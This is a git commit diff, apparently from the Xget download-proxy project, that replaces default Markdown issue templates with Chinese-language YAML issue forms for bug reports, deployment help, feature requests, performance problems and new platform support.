Migrate issue templates to YAML and add contribution docs
Replaced Markdown issue templates with structured YAML templates for bug reports, feature requests, performance issues, deployment help, and platform support. Added .prettierrc.json and .prettierignore for code formatting, a detailed CONTRIBUTING.md, and a pull request template. Updated CODE_OF_CONDUCT.md and README.md to reference new contribution guidelines. Added ESLint config, test scripts, and initial test files to improve project maintainability and onboarding.
This commit is contained in:
1 parent
8ad628aafd
commit
b34e490e6c
30 files changed
+5195
-77
No files matched your search
@@ -1,38 +0,0 @@
|
|||||||
---
|
|
||||||
name: Bug report
|
|
||||||
about: Create a report to help us improve
|
|
||||||
title: ''
|
|
||||||
labels: ''
|
|
||||||
assignees: ''
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**Describe the bug**
|
|
||||||
A clear and concise description of what the bug is.
|
|
||||||
|
|
||||||
**To Reproduce**
|
|
||||||
Steps to reproduce the behavior:
|
|
||||||
1. Go to '...'
|
|
||||||
2. Click on '....'
|
|
||||||
3. Scroll down to '....'
|
|
||||||
4. See error
|
|
||||||
|
|
||||||
**Expected behavior**
|
|
||||||
A clear and concise description of what you expected to happen.
|
|
||||||
|
|
||||||
**Screenshots**
|
|
||||||
If applicable, add screenshots to help explain your problem.
|
|
||||||
|
|
||||||
**Desktop (please complete the following information):**
|
|
||||||
- OS: [e.g. iOS]
|
|
||||||
- Browser [e.g. chrome, safari]
|
|
||||||
- Version [e.g. 22]
|
|
||||||
|
|
||||||
**Smartphone (please complete the following information):**
|
|
||||||
- Device: [e.g. iPhone6]
|
|
||||||
- OS: [e.g. iOS8.1]
|
|
||||||
- Browser [e.g. stock browser, safari]
|
|
||||||
- Version [e.g. 22]
|
|
||||||
|
|
||||||
**Additional context**
|
|
||||||
Add any other context about the problem here.
|
|
||||||
@@ -0,0 +1,146 @@
|
|||||||
|
name: 🐛 错误报告
|
||||||
|
description: 报告一个错误以帮助我们改进
|
||||||
|
title: "[BUG] "
|
||||||
|
labels: ["bug", "需要分类"]
|
||||||
|
assignees: []
|
||||||
|
|
||||||
|
body:
|
||||||
|
- type: markdown
|
||||||
|
attributes:
|
||||||
|
value: |
|
||||||
|
感谢您花时间填写错误报告!请提供尽可能详细的信息以帮助我们快速定位和解决问题。
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: bug-description
|
||||||
|
attributes:
|
||||||
|
label: 错误描述
|
||||||
|
description: 清楚简洁地描述这个错误是什么
|
||||||
|
placeholder: 描述您遇到的问题...
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: reproduction-steps
|
||||||
|
attributes:
|
||||||
|
label: 重现步骤
|
||||||
|
description: 重现此行为的步骤
|
||||||
|
placeholder: |
|
||||||
|
1. 访问 '...'
|
||||||
|
2. 点击 '....'
|
||||||
|
3. 滚动到 '....'
|
||||||
|
4. 看到错误
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: expected-behavior
|
||||||
|
attributes:
|
||||||
|
label: 预期行为
|
||||||
|
description: 清楚简洁地描述您期望发生什么
|
||||||
|
placeholder: 描述您期望的正确行为...
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: platform
|
||||||
|
attributes:
|
||||||
|
label: 受影响的平台
|
||||||
|
description: 选择出现问题的平台
|
||||||
|
options:
|
||||||
|
- GitHub
|
||||||
|
- GitLab
|
||||||
|
- Hugging Face
|
||||||
|
- npm
|
||||||
|
- PyPI
|
||||||
|
- conda
|
||||||
|
- 其他
|
||||||
|
multiple: true
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: url-example
|
||||||
|
attributes:
|
||||||
|
label: 问题 URL 示例
|
||||||
|
description: 提供出现问题的具体 URL
|
||||||
|
placeholder: https://xget.xi-xu.me/gh/...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: operation-type
|
||||||
|
attributes:
|
||||||
|
label: 操作类型
|
||||||
|
description: 选择您执行的操作类型
|
||||||
|
options:
|
||||||
|
- 文件下载
|
||||||
|
- Git 克隆
|
||||||
|
- Git 推送
|
||||||
|
- Git 拉取
|
||||||
|
- 包管理器使用
|
||||||
|
- 其他
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: error-message
|
||||||
|
attributes:
|
||||||
|
label: 错误信息
|
||||||
|
description: 如果有错误信息,请粘贴在这里
|
||||||
|
render: shell
|
||||||
|
placeholder: 粘贴完整的错误信息...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: browsers
|
||||||
|
attributes:
|
||||||
|
label: 浏览器/工具
|
||||||
|
description: 您使用的是什么浏览器或下载工具?
|
||||||
|
options:
|
||||||
|
- Chrome
|
||||||
|
- Firefox
|
||||||
|
- Safari
|
||||||
|
- Edge
|
||||||
|
- wget
|
||||||
|
- curl
|
||||||
|
- aria2
|
||||||
|
- git
|
||||||
|
- npm
|
||||||
|
- pip
|
||||||
|
- conda
|
||||||
|
- 其他
|
||||||
|
multiple: true
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: instance-url
|
||||||
|
attributes:
|
||||||
|
label: 实例 URL
|
||||||
|
description: 您使用的 Xget 实例 URL
|
||||||
|
placeholder: https://xget.xi-xu.me 或您自己的实例
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: additional-context
|
||||||
|
attributes:
|
||||||
|
label: 附加信息
|
||||||
|
description: 添加关于问题的任何其他信息
|
||||||
|
placeholder: 任何可能有助于解决问题的额外信息...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: checkboxes
|
||||||
|
id: terms
|
||||||
|
attributes:
|
||||||
|
label: 确认
|
||||||
|
description: 在提交之前,请确认以下内容
|
||||||
|
options:
|
||||||
|
- label: 我已经搜索了现有的 issues,确认这不是重复报告
|
||||||
|
required: true
|
||||||
|
- label: 我已经阅读了项目文档和故障排除指南
|
||||||
|
required: true
|
||||||
|
- label: 我提供的信息准确且完整
|
||||||
|
required: true
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
blank_issues_enabled: false
|
||||||
|
contact_links:
|
||||||
|
- name: 📚 项目文档
|
||||||
|
url: https://github.com/xixu-me/Xget/blob/main/README.md
|
||||||
|
about: 查看完整的项目文档和使用指南
|
||||||
|
- name: 💬 讨论区
|
||||||
|
url: https://github.com/xixu-me/Xget/discussions
|
||||||
|
about: 参与社区讨论,分享使用经验和最佳实践
|
||||||
|
- name: 🌐 公共实例
|
||||||
|
url: https://xget.xi-xu.me
|
||||||
|
about: 访问官方公共实例,开箱即用
|
||||||
|
- name: 🔧 故障排除
|
||||||
|
url: https://github.com/xixu-me/Xget/blob/main/README.md#-故障排除
|
||||||
|
about: 查看常见问题和解决方案
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
---
|
|
||||||
name: Custom issue template
|
|
||||||
about: Describe this issue template's purpose here.
|
|
||||||
title: ''
|
|
||||||
labels: ''
|
|
||||||
assignees: ''
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,201 @@
|
|||||||
|
name: 🚀 部署帮助
|
||||||
|
description: 获取部署相关的帮助
|
||||||
|
title: "[DEPLOYMENT] "
|
||||||
|
labels: ["deployment", "help wanted"]
|
||||||
|
assignees: []
|
||||||
|
|
||||||
|
body:
|
||||||
|
- type: markdown
|
||||||
|
attributes:
|
||||||
|
value: |
|
||||||
|
需要部署帮助?我们来协助您成功部署 Xget 实例!
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: deployment-type
|
||||||
|
attributes:
|
||||||
|
label: 部署类型
|
||||||
|
description: 您想要进行哪种类型的部署?
|
||||||
|
options:
|
||||||
|
- Cloudflare Workers (推荐)
|
||||||
|
- 自定义域名绑定
|
||||||
|
- 企业内部部署
|
||||||
|
- 开发环境搭建
|
||||||
|
- 其他平台部署
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: experience-level
|
||||||
|
attributes:
|
||||||
|
label: 技术经验水平
|
||||||
|
description: 您的技术背景如何?
|
||||||
|
options:
|
||||||
|
- 初学者 - 刚开始学习
|
||||||
|
- 中级 - 有一些经验
|
||||||
|
- 高级 - 经验丰富
|
||||||
|
- 专家 - 非常熟练
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: current-issue
|
||||||
|
attributes:
|
||||||
|
label: 当前遇到的问题
|
||||||
|
description: 详细描述您在部署过程中遇到的具体问题
|
||||||
|
placeholder: 描述您遇到的具体问题、错误信息或困惑...
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: steps-taken
|
||||||
|
attributes:
|
||||||
|
label: 已尝试的步骤
|
||||||
|
description: 列出您已经尝试过的步骤
|
||||||
|
placeholder: |
|
||||||
|
1. 我已经...
|
||||||
|
2. 然后我尝试了...
|
||||||
|
3. 接着我...
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: error-messages
|
||||||
|
attributes:
|
||||||
|
label: 错误信息
|
||||||
|
description: 如果有错误信息,请完整粘贴
|
||||||
|
render: shell
|
||||||
|
placeholder: 粘贴完整的错误信息...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: operating-system
|
||||||
|
attributes:
|
||||||
|
label: 操作系统
|
||||||
|
description: 您使用的操作系统
|
||||||
|
options:
|
||||||
|
- Windows
|
||||||
|
- macOS
|
||||||
|
- Linux (Ubuntu/Debian)
|
||||||
|
- Linux (CentOS/RHEL)
|
||||||
|
- Linux (其他发行版)
|
||||||
|
- 其他
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: node-version
|
||||||
|
attributes:
|
||||||
|
label: Node.js 版本
|
||||||
|
description: 您的 Node.js 版本(如果相关)
|
||||||
|
placeholder: 例如:v18.17.0
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: npm-version
|
||||||
|
attributes:
|
||||||
|
label: npm 版本
|
||||||
|
description: 您的 npm 版本(如果相关)
|
||||||
|
placeholder: 例如:9.6.7
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: cloudflare-account
|
||||||
|
attributes:
|
||||||
|
label: Cloudflare 账户状态
|
||||||
|
description: 您的 Cloudflare 账户状态(如果使用 Cloudflare Workers)
|
||||||
|
options:
|
||||||
|
- 还没有账户
|
||||||
|
- 有免费账户
|
||||||
|
- 有付费账户
|
||||||
|
- 不确定
|
||||||
|
- 不使用 Cloudflare
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: custom-requirements
|
||||||
|
attributes:
|
||||||
|
label: 自定义需求
|
||||||
|
description: 您是否有特殊的部署需求或配置要求?
|
||||||
|
placeholder: |
|
||||||
|
例如:
|
||||||
|
- 需要自定义域名
|
||||||
|
- 需要特定的缓存策略
|
||||||
|
- 需要企业级安全配置
|
||||||
|
- 需要集成现有系统
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: target-domain
|
||||||
|
attributes:
|
||||||
|
label: 目标域名
|
||||||
|
description: 如果您计划使用自定义域名,请提供
|
||||||
|
placeholder: 例如:xget.example.com
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: expected-usage
|
||||||
|
attributes:
|
||||||
|
label: 预期使用量
|
||||||
|
description: 您预期的使用量级别
|
||||||
|
options:
|
||||||
|
- 个人使用 - 偶尔使用
|
||||||
|
- 小团队 - 日常使用
|
||||||
|
- 中型团队 - 频繁使用
|
||||||
|
- 大型组织 - 高频使用
|
||||||
|
- 公共服务 - 大量用户
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: configuration-questions
|
||||||
|
attributes:
|
||||||
|
label: 配置相关问题
|
||||||
|
description: 关于配置的具体问题
|
||||||
|
placeholder: |
|
||||||
|
例如:
|
||||||
|
- 如何修改缓存时间?
|
||||||
|
- 如何添加新平台支持?
|
||||||
|
- 如何配置安全策略?
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: urgency
|
||||||
|
attributes:
|
||||||
|
label: 紧急程度
|
||||||
|
description: 您需要帮助的紧急程度
|
||||||
|
options:
|
||||||
|
- 低 - 有时间慢慢解决
|
||||||
|
- 中 - 希望尽快解决
|
||||||
|
- 高 - 比较急需
|
||||||
|
- 紧急 - 阻碍工作进展
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: additional-context
|
||||||
|
attributes:
|
||||||
|
label: 附加信息
|
||||||
|
description: 任何其他可能有助于提供帮助的信息
|
||||||
|
placeholder: 其他相关信息、截图、配置文件内容等...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: checkboxes
|
||||||
|
id: terms
|
||||||
|
attributes:
|
||||||
|
label: 确认
|
||||||
|
description: 在提交之前,请确认以下内容
|
||||||
|
options:
|
||||||
|
- label: 我已经阅读了项目的 README 和部署文档
|
||||||
|
required: true
|
||||||
|
- label: 我已经搜索了现有的 issues 寻找类似问题
|
||||||
|
required: true
|
||||||
|
- label: 我提供的信息准确且完整
|
||||||
|
required: true
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
---
|
|
||||||
name: Feature request
|
|
||||||
about: Suggest an idea for this project
|
|
||||||
title: ''
|
|
||||||
labels: ''
|
|
||||||
assignees: ''
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**Is your feature request related to a problem? Please describe.**
|
|
||||||
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
|
|
||||||
|
|
||||||
**Describe the solution you'd like**
|
|
||||||
A clear and concise description of what you want to happen.
|
|
||||||
|
|
||||||
**Describe alternatives you've considered**
|
|
||||||
A clear and concise description of any alternative solutions or features you've considered.
|
|
||||||
|
|
||||||
**Additional context**
|
|
||||||
Add any other context or screenshots about the feature request here.
|
|
||||||
@@ -0,0 +1,131 @@
|
|||||||
|
name: ✨ 功能请求
|
||||||
|
description: 为这个项目建议一个想法
|
||||||
|
title: "[FEATURE] "
|
||||||
|
labels: ["enhancement", "需要分类"]
|
||||||
|
assignees: []
|
||||||
|
|
||||||
|
body:
|
||||||
|
- type: markdown
|
||||||
|
attributes:
|
||||||
|
value: |
|
||||||
|
感谢您提出功能建议!我们重视每一个改进建议,请详细描述您的想法。
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: problem-description
|
||||||
|
attributes:
|
||||||
|
label: 问题描述
|
||||||
|
description: 您的功能请求是否与某个问题相关?请清楚简洁地描述问题是什么
|
||||||
|
placeholder: 我在使用时遇到了困扰,因为...
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: solution-description
|
||||||
|
attributes:
|
||||||
|
label: 解决方案描述
|
||||||
|
description: 清楚简洁地描述您希望实现的功能
|
||||||
|
placeholder: 我希望能够...
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: feature-category
|
||||||
|
attributes:
|
||||||
|
label: 功能类别
|
||||||
|
description: 这个功能属于哪个类别?
|
||||||
|
options:
|
||||||
|
- 性能优化
|
||||||
|
- 新平台支持
|
||||||
|
- 安全增强
|
||||||
|
- 用户体验改进
|
||||||
|
- API 功能
|
||||||
|
- 配置选项
|
||||||
|
- 监控和日志
|
||||||
|
- 文档改进
|
||||||
|
- 其他
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: priority
|
||||||
|
attributes:
|
||||||
|
label: 优先级
|
||||||
|
description: 您认为这个功能的优先级如何?
|
||||||
|
options:
|
||||||
|
- 低 - 有了更好
|
||||||
|
- 中 - 会很有用
|
||||||
|
- 高 - 非常需要
|
||||||
|
- 紧急 - 阻碍使用
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: alternatives
|
||||||
|
attributes:
|
||||||
|
label: 替代方案
|
||||||
|
description: 清楚简洁地描述您考虑过的任何替代解决方案或功能
|
||||||
|
placeholder: 我也考虑过...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: use-cases
|
||||||
|
attributes:
|
||||||
|
label: 使用场景
|
||||||
|
description: 描述这个功能的具体使用场景和受益用户群体
|
||||||
|
placeholder: |
|
||||||
|
这个功能将帮助:
|
||||||
|
- 开发者在...场景下
|
||||||
|
- 企业用户需要...
|
||||||
|
- 个人用户想要...
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: implementation-ideas
|
||||||
|
attributes:
|
||||||
|
label: 实现想法
|
||||||
|
description: 如果您有关于如何实现这个功能的想法,请分享
|
||||||
|
placeholder: 可能的实现方式...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: affected-platforms
|
||||||
|
attributes:
|
||||||
|
label: 涉及平台
|
||||||
|
description: 这个功能涉及哪些平台?
|
||||||
|
options:
|
||||||
|
- 所有平台
|
||||||
|
- GitHub
|
||||||
|
- GitLab
|
||||||
|
- Hugging Face
|
||||||
|
- npm
|
||||||
|
- PyPI
|
||||||
|
- conda
|
||||||
|
- 新平台
|
||||||
|
multiple: true
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: additional-context
|
||||||
|
attributes:
|
||||||
|
label: 附加信息
|
||||||
|
description: 添加关于功能请求的任何其他信息、截图或示例
|
||||||
|
placeholder: 任何有助于理解功能需求的额外信息...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: checkboxes
|
||||||
|
id: terms
|
||||||
|
attributes:
|
||||||
|
label: 确认
|
||||||
|
description: 在提交之前,请确认以下内容
|
||||||
|
options:
|
||||||
|
- label: 我已经搜索了现有的 issues,确认这不是重复请求
|
||||||
|
required: true
|
||||||
|
- label: 我已经阅读了项目文档,确认此功能尚未存在
|
||||||
|
required: true
|
||||||
|
- label: 这个功能符合项目的目标和范围
|
||||||
|
required: true
|
||||||
@@ -0,0 +1,205 @@
|
|||||||
|
name: ⚡ 性能问题
|
||||||
|
description: 报告性能相关的问题
|
||||||
|
title: "[PERFORMANCE] "
|
||||||
|
labels: ["performance", "需要分类"]
|
||||||
|
assignees: []
|
||||||
|
|
||||||
|
body:
|
||||||
|
- type: markdown
|
||||||
|
attributes:
|
||||||
|
value: |
|
||||||
|
感谢您报告性能问题!性能数据对我们优化服务非常重要。
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: performance-issue
|
||||||
|
attributes:
|
||||||
|
label: 性能问题描述
|
||||||
|
description: 详细描述您遇到的性能问题
|
||||||
|
placeholder: 描述具体的性能问题,如下载速度慢、响应时间长等...
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: issue-type
|
||||||
|
attributes:
|
||||||
|
label: 问题类型
|
||||||
|
description: 选择性能问题的类型
|
||||||
|
options:
|
||||||
|
- 下载速度慢
|
||||||
|
- 响应时间长
|
||||||
|
- 连接超时
|
||||||
|
- 频繁重试
|
||||||
|
- 缓存未命中
|
||||||
|
- Git 操作缓慢
|
||||||
|
- 其他
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: affected-platform
|
||||||
|
attributes:
|
||||||
|
label: 受影响的平台
|
||||||
|
description: 选择出现性能问题的平台
|
||||||
|
options:
|
||||||
|
- GitHub
|
||||||
|
- GitLab
|
||||||
|
- Hugging Face
|
||||||
|
- npm
|
||||||
|
- PyPI
|
||||||
|
- conda
|
||||||
|
- 所有平台
|
||||||
|
multiple: true
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: file-size
|
||||||
|
attributes:
|
||||||
|
label: 文件大小
|
||||||
|
description: 如果涉及文件下载,请提供文件大小
|
||||||
|
placeholder: 例如:100MB, 1.5GB
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: download-speed
|
||||||
|
attributes:
|
||||||
|
label: 实际下载速度
|
||||||
|
description: 您观察到的下载速度
|
||||||
|
placeholder: 例如:500KB/s, 2MB/s
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: expected-speed
|
||||||
|
attributes:
|
||||||
|
label: 期望下载速度
|
||||||
|
description: 您期望的下载速度或直接访问源站的速度
|
||||||
|
placeholder: 例如:10MB/s, 50MB/s
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: performance-metrics
|
||||||
|
attributes:
|
||||||
|
label: 性能指标
|
||||||
|
description: 如果您有具体的性能数据,请提供(如响应头中的 X-Performance-Metrics)
|
||||||
|
render: json
|
||||||
|
placeholder: 粘贴性能指标数据...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: test-url
|
||||||
|
attributes:
|
||||||
|
label: 测试 URL
|
||||||
|
description: 提供出现性能问题的具体 URL
|
||||||
|
placeholder: https://xget.xi-xu.me/gh/...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: geographic-location
|
||||||
|
attributes:
|
||||||
|
label: 地理位置
|
||||||
|
description: 您的大致地理位置(有助于分析 CDN 性能)
|
||||||
|
options:
|
||||||
|
- 中国大陆
|
||||||
|
- 中国香港
|
||||||
|
- 中国台湾
|
||||||
|
- 日本
|
||||||
|
- 韩国
|
||||||
|
- 新加坡
|
||||||
|
- 美国西海岸
|
||||||
|
- 美国东海岸
|
||||||
|
- 欧洲
|
||||||
|
- 其他亚洲地区
|
||||||
|
- 其他地区
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: network-type
|
||||||
|
attributes:
|
||||||
|
label: 网络类型
|
||||||
|
description: 您使用的网络类型
|
||||||
|
options:
|
||||||
|
- 家庭宽带
|
||||||
|
- 企业网络
|
||||||
|
- 移动网络 (4G)
|
||||||
|
- 移动网络 (5G)
|
||||||
|
- 公共 WiFi
|
||||||
|
- VPN
|
||||||
|
- 其他
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: bandwidth
|
||||||
|
attributes:
|
||||||
|
label: 网络带宽
|
||||||
|
description: 您的网络带宽
|
||||||
|
placeholder: 例如:100Mbps, 1Gbps
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: tool-used
|
||||||
|
attributes:
|
||||||
|
label: 使用的工具
|
||||||
|
description: 您使用什么工具进行下载或操作?
|
||||||
|
options:
|
||||||
|
- 浏览器下载
|
||||||
|
- wget
|
||||||
|
- curl
|
||||||
|
- aria2
|
||||||
|
- git
|
||||||
|
- npm
|
||||||
|
- pip
|
||||||
|
- conda
|
||||||
|
- 其他
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: instance-url
|
||||||
|
attributes:
|
||||||
|
label: 实例 URL
|
||||||
|
description: 您使用的 Xget 实例
|
||||||
|
placeholder: https://xget.xi-xu.me 或您自己的实例
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: comparison-test
|
||||||
|
attributes:
|
||||||
|
label: 对比测试
|
||||||
|
description: 如果您进行了对比测试(如直接访问源站),请提供结果
|
||||||
|
placeholder: |
|
||||||
|
直接访问源站速度:...
|
||||||
|
通过 Xget 访问速度:...
|
||||||
|
测试时间:...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: additional-context
|
||||||
|
attributes:
|
||||||
|
label: 附加信息
|
||||||
|
description: 任何其他可能有助于诊断性能问题的信息
|
||||||
|
placeholder: 其他相关信息...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: checkboxes
|
||||||
|
id: terms
|
||||||
|
attributes:
|
||||||
|
label: 确认
|
||||||
|
description: 在提交之前,请确认以下内容
|
||||||
|
options:
|
||||||
|
- label: 我已经尝试了多次测试以确认问题的一致性
|
||||||
|
required: true
|
||||||
|
- label: 我已经检查了网络连接和本地环境
|
||||||
|
required: true
|
||||||
|
- label: 我提供的性能数据准确可靠
|
||||||
|
required: true
|
||||||
@@ -0,0 +1,199 @@
|
|||||||
|
name: 🌐 平台支持请求
|
||||||
|
description: 请求添加新平台支持
|
||||||
|
title: "[PLATFORM] "
|
||||||
|
labels: ["platform", "enhancement"]
|
||||||
|
assignees: []
|
||||||
|
|
||||||
|
body:
|
||||||
|
- type: markdown
|
||||||
|
attributes:
|
||||||
|
value: |
|
||||||
|
感谢您提出新平台支持请求!我们致力于支持更多有价值的平台。
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: platform-name
|
||||||
|
attributes:
|
||||||
|
label: 平台名称
|
||||||
|
description: 您希望支持的平台名称
|
||||||
|
placeholder: 例如:Bitbucket, SourceForge, Codeberg
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: platform-url
|
||||||
|
attributes:
|
||||||
|
label: 平台 URL
|
||||||
|
description: 平台的主要 URL
|
||||||
|
placeholder: https://example.com
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: platform-description
|
||||||
|
attributes:
|
||||||
|
label: 平台描述
|
||||||
|
description: 简要描述这个平台的用途和特点
|
||||||
|
placeholder: 这是一个用于...的平台,主要特点是...
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: platform-type
|
||||||
|
attributes:
|
||||||
|
label: 平台类型
|
||||||
|
description: 选择平台的主要类型
|
||||||
|
options:
|
||||||
|
- 代码托管 (Git)
|
||||||
|
- 包管理器
|
||||||
|
- 模型/数据集托管
|
||||||
|
- 文件存储
|
||||||
|
- 容器镜像
|
||||||
|
- 文档托管
|
||||||
|
- 其他
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: url-patterns
|
||||||
|
attributes:
|
||||||
|
label: URL 模式示例
|
||||||
|
description: 提供该平台的典型 URL 模式示例
|
||||||
|
placeholder: |
|
||||||
|
文件下载:https://example.com/user/repo/releases/download/v1.0/file.zip
|
||||||
|
Git 克隆:https://example.com/user/repo.git
|
||||||
|
API 访问:https://api.example.com/v1/...
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: supported-operations
|
||||||
|
attributes:
|
||||||
|
label: 需要支持的操作
|
||||||
|
description: 选择需要支持的操作类型
|
||||||
|
options:
|
||||||
|
- 文件下载
|
||||||
|
- Git 克隆
|
||||||
|
- Git 推送
|
||||||
|
- API 访问
|
||||||
|
- 包下载
|
||||||
|
- 元数据获取
|
||||||
|
- 其他
|
||||||
|
multiple: true
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: authentication
|
||||||
|
attributes:
|
||||||
|
label: 认证要求
|
||||||
|
description: 该平台是否需要特殊的认证方式?
|
||||||
|
placeholder: |
|
||||||
|
- 是否需要 API Token?
|
||||||
|
- 是否有公开访问的内容?
|
||||||
|
- 认证方式是什么?
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: rate-limits
|
||||||
|
attributes:
|
||||||
|
label: 速率限制
|
||||||
|
description: 该平台是否有已知的速率限制或访问限制?
|
||||||
|
placeholder: 例如:每小时 1000 次请求,需要 User-Agent 等
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: popularity
|
||||||
|
attributes:
|
||||||
|
label: 平台流行度
|
||||||
|
description: 您认为这个平台的使用程度如何?
|
||||||
|
options:
|
||||||
|
- 非常流行 - 广泛使用
|
||||||
|
- 较为流行 - 有一定用户群体
|
||||||
|
- 小众但重要 - 特定领域重要
|
||||||
|
- 新兴平台 - 发展潜力大
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: use-cases
|
||||||
|
attributes:
|
||||||
|
label: 使用场景
|
||||||
|
description: 描述支持这个平台的主要使用场景和受益用户
|
||||||
|
placeholder: |
|
||||||
|
这个平台主要用于:
|
||||||
|
- 开发者需要...
|
||||||
|
- 企业用户使用它来...
|
||||||
|
- 学术研究中...
|
||||||
|
validations:
|
||||||
|
required: true
|
